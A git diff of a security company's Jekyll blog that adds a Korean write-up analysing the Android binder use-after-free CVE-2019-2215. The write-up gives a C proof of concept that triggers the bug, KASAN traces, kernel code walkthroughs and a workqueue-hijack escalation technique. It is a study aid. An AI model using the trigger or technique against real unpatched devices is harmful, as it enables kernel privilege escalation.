  5. 2번에서 구한 worker_pool이 1번에서 구한 pwq가 아니라면, 구한 worker_pool에 연결된 worker중에 우리가 삽입할 work를 담당하는 worker->current_pwq를 가져온다.
  6. +
  7. pwq->pool->worklistwork를 insert한다.
  8. +
+ +


+ +

5.5.3 process_one_work

+ +

앞서 등록된 work는 kworker thread에 의하여 process_one_work함수에서 실행된다.

+ +

process_one_work 함수를 살펴보면 다음과 같다.

+ +
// /kernel/workqueue.c
+static void process_one_work(struct worker *worker, struct work_struct *work)
+__releases(&pool->lock)
+__acquires(&pool->lock)
+{
+	struct pool_workqueue *pwq = get_work_pwq(work);
+	struct worker_pool *pool = worker->pool;
+	bool cpu_intensive = pwq->wq->flags & WQ_CPU_INTENSIVE;
+	int work_color;
+	struct worker *collision;
+#ifdef CONFIG_LOCKDEP
+
+    //[...]
+
+    debug_work_deactivate(work);
+	hash_add(pool->busy_hash, &worker->hentry, (unsigned long)work);
+	worker->current_work = work;
+	worker->current_func = work->func;
+	worker->current_pwq = pwq;
+	work_color = get_work_color(work);
+
+	list_del_init(&work->entry);
+
+	//[...]
+
+	if (need_more_worker(pool))
+		wake_up_worker(pool);
+
+	//[...]
+
+	set_work_pool_and_clear_pending(work, pool->id);
+
+	spin_unlock_irq(&pool->lock);
+
+	lock_map_acquire_read(&pwq->wq->lockdep_map);
+	lock_map_acquire(&lockdep_map);
+	trace_workqueue_execute_start(work);
+	worker->current_func(work);
+
+	//[...]
+
+	hash_del(&worker->hentry);
+	worker->current_work = NULL;
+	worker->current_func = NULL;
+	worker->current_pwq = NULL;
+	worker->desc_valid = false;
+	pwq_dec_nr_in_flight(pwq, work_color);
+}
+
+ +
    +
  • line 6~7 : 앞선 쳅터에서 설정한 pool_workqueueworker_pool을 가져온다.
  • +
  • line 16~20 : 수행하고자 하는 work를 찾아서 worker를 세팅한다
  • +
  • line 37~38 : worker->current_func를 수행한다. +
      +
    • 이때 worker->current_funcwork->func이다.
    • +
    +
  • +
  • line 42~46 : worker를 정리한다.
  • +
+ +


+ +

5.5.4 Insert call_usermodehelper_exec_work into workqueue

+ +

즉 위와 같은 과정으로 work->func(work)를 수행하기 때문에, 우리가 work->func 주소에 call_usermodehelper_exec_work 를 넣을 수 있다면, 혹은 fake work node를 만들어서 앞서 아래 workqueue에 연결된 worker_pool에 work node를 삽입할 수 있다면 우리가 삽입한 call_usermodehelper_exec_work 함수를 실행할 수 있을 것이다.

+ +
// workqueue by system permissions
+ffffffc012c8f7e0 D system_wq
+ffffffc012c8f7e8 D system_highpri_wq
+ffffffc012c8f7f0 D system_long_wq
+ffffffc012c8f7f8 D system_unbound_wq
+ffffffc012c8f800 D system_freezable_wq
+ffffffc012c8f808 D system_power_efficient_wq
+ffffffc012c8f810 D system_freezable_power_efficient_wq
+
+ +

이와 관련된 exploit code는 아래 링크에서 확인할 수 있다

+ + + +


+

+ +

6. Reference

+ + + +
+
+
+ +
+
+
Minjoong Kim
+
mkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
Minjoong Kim
+
+
+
+ +
+ Android 1day Exploit Analysis (CVE-2019-2215) +
+
+
Android 1day Exploit Analysis by Newbie
+ +
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+
+
+
+
+ + + +
+
+ diff --git a/docs/id/categories/R&D.html b/docs/id/categories/R&D.html index 2ef72ff..6974315 100644 --- a/docs/id/categories/R&D.html +++ b/docs/id/categories/R&D.html @@ -78,6 +78,30 @@
# R&D
+
+
+ +
Minjoong Kim
+
+
+
+ +
+ Android 1day Exploit Analysis (CVE-2019-2215) +
+
+
Android 1day Exploit Analysis by Newbie
+ +
+
diff --git "a/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" "b/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" index ce46289..7635289 100644 --- "a/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" +++ "b/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" @@ -411,22 +411,22 @@

후기

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -435,22 +435,22 @@

후기

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/feed.xml b/docs/id/feed.xml index eb1719e..e465e7a 100644 --- a/docs/id/feed.xml +++ b/docs/id/feed.xml @@ -1,4 +1,2363 @@ -Jekyll2024-03-11T00:25:19-07:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.뉴비들의 하드웨어 해킹 입문기2024-02-05T17:00:00-08:002024-02-05T17:00:00-08:00http://ufo.stealien.com/2024-02-05/IoT-TechBlog-ko<h1 id="뉴비들의-하드웨어-해킹-입문기">뉴비들의 하드웨어 해킹 입문기</h1> +Jekyll2024-03-11T00:48:02-07:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.Android 1day Exploit Analysis (CVE-2019-2215)2024-03-10T08:00:00-07:002024-03-10T08:00:00-07:00http://ufo.stealien.com/2024-03-10/Android-1day-Exploit-Analysis-ko<h1 id="1-introduction">1. Introduction</h1> + +<p>평소에 관심이 많았던 Android 커널 exploit을 공부해보고자 이 게시물을 작성한다.</p> + +<p>취약점은 공개된 Android Kernel CVE인 CVE-2019-2215를 대상으로 분석을 진행했다. 해당 취약점의 경우 다양한 블로그에 취약점 정리가 잘 되어있고, poc 코드와 exploit 코드가 github에 공개된 상태로 존재하기 때문에, 처음 Android 커널 exploit을 공부하는 입장에서 분석이 용이할 것이라 생각하여 이 블로그에서는 해당 취약점을 분석했다.</p> + +<p>이전까지 공개된 취약점 분석에 대해, Root cause 분석부터 exploit까지 도달하는 과정에서 사용된 linux kernel code를 직접 확인하며 그 흐름을 따라가는 것을 목표로 블로그를 작성한다.</p> + +<p>이 글에서 나오는 exploit 코드 및 취약점 정보는 아래 Reference에서 확인할 수 있다.</p> + +<p><br /> +<br /></p> + +<h1 id="2-environment-setting">2. Environment Setting</h1> + +<p>이 챕터에서는 취약점 분석을 위한 환경설정을 하는 방법에 대해 소개한다.</p> + +<ul> + <li>환경 설정은 아래 사이트를 참고했다. + <ul> + <li><a href="https://github.com/cloudfuzz/android-kernel-exploitation">https://github.com/cloudfuzz/android-kernel-exploitation</a></li> + <li><a href="https://cloudfuzz.github.io/android-kernel-exploitation/chapters/environment-setup.html">https://cloudfuzz.github.io/android-kernel-exploitation/chapters/environment-setup.html</a></li> + </ul> + </li> +</ul> + +<p><br /></p> + +<h2 id="21-build-android-kernel">2.1 Build Android Kernel</h2> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone &lt;https://github.com/cloudfuzz/android-kernel-exploitation&gt; ~/workshop +<span class="nv">PATH</span><span class="o">=</span>~/Android/Sdk/platform-tools:<span class="nv">$PATH</span> +<span class="nv">PATH</span><span class="o">=</span>~/Android/Sdk/emulator:<span class="nv">$PATH</span> + +<span class="nb">cd </span>workshop +<span class="nb">cd </span>android-4.14-dev/ +repo init <span class="nt">--depth</span><span class="o">=</span>1 <span class="nt">-u</span> &lt;https://android.googlesource.com/kernel/manifest&gt; <span class="nt">-b</span> q-goldfish-android-goldfish-4.14-dev +<span class="nb">cp</span> ../custom-manifest/default.xml .repo/manifests/ +repo <span class="nb">sync</span> <span class="nt">-c</span> <span class="nt">--no-tags</span> <span class="nt">--no-clone-bundle</span> <span class="nt">-j</span><span class="sb">`</span><span class="nb">nproc</span><span class="sb">`</span> +</code></pre></div></div> + +<p><br /></p> + +<h2 id="22-boot-kernel-with-android-emulator">2.2 Boot Kernel with Android emulator</h2> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">BUILD_CONFIG</span><span class="o">=</span>../build-configs/goldfish.x86_64.kasan build/build.sh +</code></pre></div></div> +<p>/home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist</p> +<ul> + <li>bzImage</li> + <li>kernel-headers.tar.gz</li> + <li>kernel-uapi-headers.tar.gz</li> + <li>System.map</li> + <li>vmlinux</li> + <li> + <p>no kasan but gdbsymbols</p> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> emulator <span class="nt">-show-kernel</span> <span class="nt">-no-snapshot</span> <span class="nt">-wipe-data</span> <span class="nt">-avd</span> CVE-2019-2215 <span class="nt">-kernel</span> /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage +</code></pre></div> </div> + + <ul> + <li>debugging할 때는 마지막에 <code class="language-plaintext highlighter-rouge">-qemu -s</code> 옵션 추가</li> + </ul> + </li> + <li> + <p>with kasan</p> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> emulator <span class="nt">-show-kernel</span> <span class="nt">-no-snapshot</span> <span class="nt">-wipe-data</span> <span class="nt">-avd</span> CVE-2019-2215 <span class="nt">-kernel</span> /home/ubuntu/workshop/android-4.14-dev/out/kasan/dist/bzImage +</code></pre></div> </div> + </li> + <li> + <p>debugging</p> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> emulator <span class="nt">-show-kernel</span> <span class="nt">-no-snapshot</span> <span class="nt">-wipe-data</span> <span class="nt">-avd</span> CVE-2019-2215 <span class="nt">-kernel</span> /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage <span class="nt">-qemu</span> <span class="nt">-s</span> <span class="nt">-S</span> +</code></pre></div> </div> + </li> +</ul> + +<p><br /> +<br /></p> + +<h1 id="3-background-information">3. Background Information</h1> + +<p>이 쳅터에서는 실제로 코드를 분석하기 전, commit과 patch 내용을 토대로 취약점에 대한 전반적인 내용을 확인해 본다.</p> + +<p><br /></p> + +<h2 id="31-commit">3.1 commit</h2> + +<ul> + <li> + <p><a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0</a></p> + + <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> UPSTREAM: ANDROID: binder: remove waitqueue when thread exits. + + binder_poll() passes the thread-&gt;wait waitqueue that + can be slept on for work. When a thread that uses + epoll explicitly exits using BINDER_THREAD_EXIT, + the waitqueue is freed, but it is never removed + from the corresponding epoll data structure. When + the process subsequently exits, the epoll cleanup + code tries to access the waitlist, which results in + a use-after-free. + + Prevent this by using POLLFREE when the thread exits. + + (cherry picked from commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f) + + Change-Id: Ib34b1cbb8ab2192d78c3d9956b2f963a66ecad2e + Signed-off-by: Martijn Coenen &lt;maco@android.com&gt; + Reported-by: syzbot &lt;syzkaller@googlegroups.com&gt; + Cc: stable &lt;stable@vger.kernel.org&gt; # 4.14 + Signed-off-by: Greg Kroah-Hartman &lt;gregkh@linuxfoundation.org&gt; + +</code></pre></div> </div> + </li> + <li>위 commit에서 알 수 있는 내용은 아래와 같다. + <ol> + <li>binder_poll이 thread→wait waitqueue를 넘긴다.</li> + <li>이 쓰레드는 epoll에서 BINDER_THREAD_EXIT에 의해 해제되면서 waitqueue가 해제된다.</li> + <li>하지만 epoll data structure에는 여전히 남아있다.</li> + <li>따라서 이후 epoll cleanup과정에서 waitqueue에 접근할 때 UAF가 터진다</li> + </ol> + </li> + <li>commit에 언급된 부분은 <code class="language-plaintext highlighter-rouge">BINDER_THREAD_EXIT</code>, <code class="language-plaintext highlighter-rouge">epoll</code>과 <code class="language-plaintext highlighter-rouge">waitqueue</code>, <code class="language-plaintext highlighter-rouge">binder_poll</code> 이고, 이를 앞으로 분석한다.</li> +</ul> + +<p><br /></p> + +<h2 id="32-patch-diff">3.2 Patch diff</h2> + +<ul> + <li> + <p>우리는 patch 내용을 보고 실제 코드에서 어떤 부분이 취약했는지 유추하고 이를 어떤 방법으로 막았는지 살펴본다.</p> + + <div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code> /drivers/android/binder.c patch diff + + --- a/drivers/android/binder.c + +++ b/drivers/android/binder.c + + @@ -4535,6 +4535,18 @@ + if (t) + spin_lock(&amp;t-&gt;lock); + } + + + + /* + + * If this thread used poll, make sure we remove the waitqueue + + * from any epoll data structures holding it with POLLFREE. + + * waitqueue_active() is safe to use here because we're holding + + * the inner lock. + + */ + + if ((thread-&gt;looper &amp; BINDER_LOOPER_STATE_POLL) &amp;&amp; + + waitqueue_active(&amp;thread-&gt;wait)) { + + wake_up_poll(&amp;thread-&gt;wait, POLLHUP | POLLFREE); + + } + + + binder_inner_proc_unlock(thread-&gt;proc); + + if (send_reply) + +</code></pre></div> </div> + </li> + <li>위 코드는 <code class="language-plaintext highlighter-rouge">binder_thread_release</code>함수 내부에 추가된 코드이다.</li> + <li>위 코드에서 주석을 보고 알 수 있는 점은 다음과 같다. + <ul> + <li>binder를 해제할 때 epoll 구조체에 연결되어 있는지 확인하는 작업을 추가했고, 이를 <code class="language-plaintext highlighter-rouge">waitqueue_activate</code>함수를 추가함으로서 해결한 것으로 유추할 수 있다.</li> + </ul> + </li> + <li><code class="language-plaintext highlighter-rouge">wait_queue_activate</code>함수는 thread-&gt;wait-&gt;wq_head-&gt;head-&gt;next가 head 자기 자신을 가리키는지 확인한다. 즉 circular double linked list에서 node의 next가 자기 자신을 가리키는 상황으로 존재하는지 여부를 확인한다.</li> +</ul> + +<p>이를 통해 알 수 있는 점은 binder thread와 epoll간의 wait_queue 연결이 되어 있고, circular double linked list가 문제가 될 수 있다는 점을 알 수 있다.</p> + +<p><br /> +<br /></p> + +<h1 id="4-root-cause-analysis">4. Root Cause Analysis</h1> + +<p>이번 쳅터에서는 POC를 통해 UAF가 발생되는 취약점의 Root Cause를 분석한다.</p> + +<p>분석 순서는 POC의 진행 과정을 따라 Allocate, Free, Use 순으로 진행된다.</p> + +<p><br /></p> + +<h2 id="41-poc">4.1 POC</h2> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include &lt;fcntl.h&gt; +#include &lt;sys/epoll.h&gt; +#include &lt;sys/ioctl.h&gt; +#include &lt;unistd.h&gt; +</span> +<span class="cp">#define BINDER_THREAD_EXIT 0x40046208ul +</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="n">epfd</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">event</span> <span class="o">=</span> <span class="p">{</span> <span class="p">.</span><span class="n">events</span> <span class="o">=</span> <span class="n">EPOLLIN</span> <span class="p">};</span> + + <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/binder0"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span> + <span class="n">epfd</span> <span class="o">=</span> <span class="n">epoll_create</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> + <span class="n">epoll_ctl</span><span class="p">(</span><span class="n">epfd</span><span class="p">,</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">);</span> + <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p><br /></p> + +<h2 id="42-allocate">4.2 Allocate</h2> + +<p>Use-After-Free 버그가 발생했다는 것은 patch note를 통해 알 수 있다. 이후, Use-After-Free 취약점이 발생한 힙 청크가 어디서 할당되었는지 알아보기 위해 chromium에 올라온 KASAN 코드를 확인해 볼 수 있다.</p> + +<ul> + <li>patch note : <a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0</a></li> +</ul> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 464.655899] c0 3033 Allocated by task 3033: +[ 464.658257] [&lt;ffffff900808e5a4&gt;] save_stack_trace_tsk+0x0/0x204 +[ 464.663899] [&lt;ffffff900808e7c8&gt;] save_stack_trace+0x20/0x28 +[ 464.669882] [&lt;ffffff90082b0b14&gt;] kasan_kmalloc.part.5+0x50/0x124 +[ 464.675528] [&lt;ffffff90082b0e38&gt;] kasan_kmalloc+0xc4/0xe4 +[ 464.681597] [&lt;ffffff90082ac8a4&gt;] kmem_cache_alloc_trace+0x12c/0x240 +[ 464.686992] [&lt;ffffff90094093c0&gt;] binder_get_thread+0xdc/0x384 +[ 464.693319] [&lt;ffffff900940969c&gt;] binder_poll+0x34/0x1bc +[ 464.699127] [&lt;ffffff900833839c&gt;] SyS_epoll_ctl+0x704/0xf84 +[ 464.704423] [&lt;ffffff90080842b0&gt;] el0_svc_naked+0x24/0x28 + +</code></pre></div></div> + +<p>위 정보를 보면 epoll_ctl에서 binder_poll이 호출되어 힙이 할당된다. POC를 확인해 봤을 때, 아래에 해당하는 부분에서 청크가 할당된 것으로 추측할 수 있다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">epoll_ctl</span><span class="p">(</span><span class="n">epfd</span><span class="p">,</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">);</span> +</code></pre></div></div> + +<ul> + <li>epfd : epoll_create의 return value</li> + <li>fd : binder file descripter</li> +</ul> + +<p>binder 드라이버의 파일 디스크립터는 <code class="language-plaintext highlighter-rouge">open("/dev/binder0", O_RDONLY);</code> 코드를 통해 얻을 수 있고, epfd는 <code class="language-plaintext highlighter-rouge">epfd = epoll_create(1000);</code> 이 코드를 통해 얻게 된다. 따라서 우리는 먼저 <code class="language-plaintext highlighter-rouge">epoll_create</code>를 분석한다.</p> + +<p><br /></p> + +<h3 id="421-epoll_create">4.2.1 epoll_create</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// poc.c</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">epfd</span> <span class="o">=</span> <span class="n">epoll_create</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>위 poc에서 호출되는 epoll_create의 과정을 간략히 설명하면 다음과 같다.</p> + +<ol> + <li>binder_open함수가 실행되고 binder_proc 구조체가 할당된다.</li> + <li> + <p>epoll_create → epoll_alloc 함수가 실행되고 그 내부적으로 아래와 같은 코드가 실행된다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /fs/eventpoll.c</span> + <span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_alloc</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">**</span><span class="n">pep</span><span class="p">)</span> + <span class="p">{</span> + <span class="p">[...]</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">;</span> + <span class="p">[...]</span> + + <span class="n">init_wait_queue_head</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">wq</span><span class="p">);</span> + <span class="c1">//ep-&gt;wq-&gt;head-&gt;next = ep-&gt;wq-&gt;head</span> + <span class="c1">//ep-&gt;wq-&gt;head-&gt;prev = ep-&gt;wq-&gt;head</span> + <span class="n">init_wait_queue_head</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">poll_wait</span><span class="p">)</span> + <span class="c1">//ep-&gt;poll_wait-&gt;head-&gt;next = ep-&gt;poll_wait-&gt;head</span> + <span class="c1">//ep-&gt;poll_wait-&gt;head-&gt;prev = ep-&gt;poll_wait-&gt;head</span> + + <span class="p">[...]</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> +</ol> + +<p><br /></p> + +<p>그리고 아래 코드에 의해 <code class="language-plaintext highlighter-rouge">file→private_data = ep ; ep→file = file</code> 이 결론적으로 수행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="n">SYSCALL_DEFINE1</span><span class="p">(</span><span class="n">epoll_create1</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">file</span> <span class="o">=</span> <span class="n">anon_inode_getfile</span><span class="p">(</span><span class="s">"[eventpoll]"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">eventpoll_fops</span><span class="p">,</span> <span class="n">ep</span><span class="p">,</span> + <span class="n">O_RDWR</span> <span class="o">|</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">O_CLOEXEC</span><span class="p">));</span> <span class="c1">// file-&gt;private_data = ep</span> + + <span class="c1">//[...]</span> + <span class="n">ep</span><span class="o">-&gt;</span><span class="n">file</span> <span class="o">=</span> <span class="n">file</span><span class="p">;</span> + <span class="n">fd_install</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span> + <span class="k">return</span> <span class="n">fd</span><span class="p">;</span> + <span class="c1">//[...]</span> +<span class="p">}</span> + +<span class="c1">// /fs/anon_inodes.c</span> +<span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="nf">anon_inode_getfile</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> + <span class="k">const</span> <span class="k">struct</span> <span class="n">file_operations</span> <span class="o">*</span><span class="n">fops</span><span class="p">,</span> + <span class="kt">void</span> <span class="o">*</span><span class="n">priv</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="n">file</span><span class="o">-&gt;</span><span class="n">private_data</span> <span class="o">=</span> <span class="n">priv</span><span class="p">;</span> + <span class="k">return</span> <span class="n">file</span> + <span class="c1">//[...]</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>결과적으로 생성된 구조체는 다음과 같다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android1.png" alt="그림 1. epoll_create이후 생성된 구조체 list" /></p> + +<ul> + <li>위 다이어그램은 각 구조체의 중요한 맴버만 표시한 것으로 다이어그램 속 맴버가 전부가 아님을 밝힌다.</li> +</ul> + +<p><br /></p> + +<h3 id="422-epoll_ctl">4.2.2 epoll_ctl</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// poc.c</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="n">epfd</span> <span class="o">=</span> <span class="n">epoll_create</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> + <span class="n">epoll_ctl</span><span class="p">(</span><span class="n">epfd</span><span class="p">,</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">);</span> + <span class="c1">//[...]</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><br /> +POC를 따라 epoll_ctl 코드가 있는 곳을 보면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="n">SYSCALL_DEFINE4</span><span class="p">(</span><span class="n">epoll_ctl</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">epfd</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">op</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="n">event</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">int</span> <span class="n">error</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">full_check</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">fd</span> <span class="n">f</span><span class="p">,</span> <span class="n">tf</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">epds</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">tep</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + + <span class="c1">//[...]</span> + + <span class="k">case</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">:</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">epi</span><span class="p">)</span> <span class="p">{</span> + <span class="n">epds</span><span class="p">.</span><span class="n">events</span> <span class="o">|=</span> <span class="n">POLLERR</span> <span class="o">|</span> <span class="n">POLLHUP</span><span class="p">;</span> + <span class="n">error</span> <span class="o">=</span> <span class="n">ep_insert</span><span class="p">(</span><span class="n">ep</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epds</span><span class="p">,</span> <span class="n">tf</span><span class="p">.</span><span class="n">file</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="n">full_check</span><span class="p">);</span> + <span class="p">}</span> <span class="k">else</span> + <span class="n">error</span> <span class="o">=</span> <span class="o">-</span><span class="n">EEXIST</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + +</code></pre></div></div> + +<ul> + <li>ep_insert 함수가 실행되는데 인자로 들어가는 부분은 아래와 같다. + <ul> + <li>ep : f.file→private_data, ep_create 로 만들어진 eventpoll 구조체이다.</li> + <li>epds : epoll_ctl의 4번째 인자가 copy된 값이다.</li> + <li>tf : fd의 file descriptor로, binder의 fd값이다.</li> + </ul> + </li> +</ul> + +<p><br /> +ep_insert 함수에서 아래 함수가 실행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_insert</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epoll_event</span> <span class="o">*</span><span class="n">event</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">tfile</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">full_check</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">epi</span><span class="o">-&gt;</span><span class="n">ep</span> <span class="o">=</span> <span class="n">ep</span><span class="p">;</span> + <span class="n">ep_set_ffd</span><span class="p">(</span><span class="o">&amp;</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">ffd</span><span class="p">,</span> <span class="n">tfile</span><span class="p">,</span> <span class="n">fd</span><span class="p">);</span> + <span class="p">...</span> + <span class="n">revents</span> <span class="o">=</span> <span class="n">ep_item_poll</span><span class="p">(</span><span class="n">epi</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epq</span><span class="p">.</span><span class="n">pt</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">ep_set_ffd</span><span class="p">(</span><span class="k">struct</span> <span class="n">epoll_filefd</span> <span class="o">*</span><span class="n">ffd</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">ffd</span><span class="o">-&gt;</span><span class="n">file</span> <span class="o">=</span> <span class="n">file</span><span class="p">;</span> + <span class="n">ffd</span><span class="o">-&gt;</span><span class="n">fd</span> <span class="o">=</span> <span class="n">fd</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">ep_item_poll</span><span class="p">(</span><span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span><span class="p">,</span> <span class="n">poll_table</span> <span class="o">*</span><span class="n">pt</span><span class="p">)</span> +<span 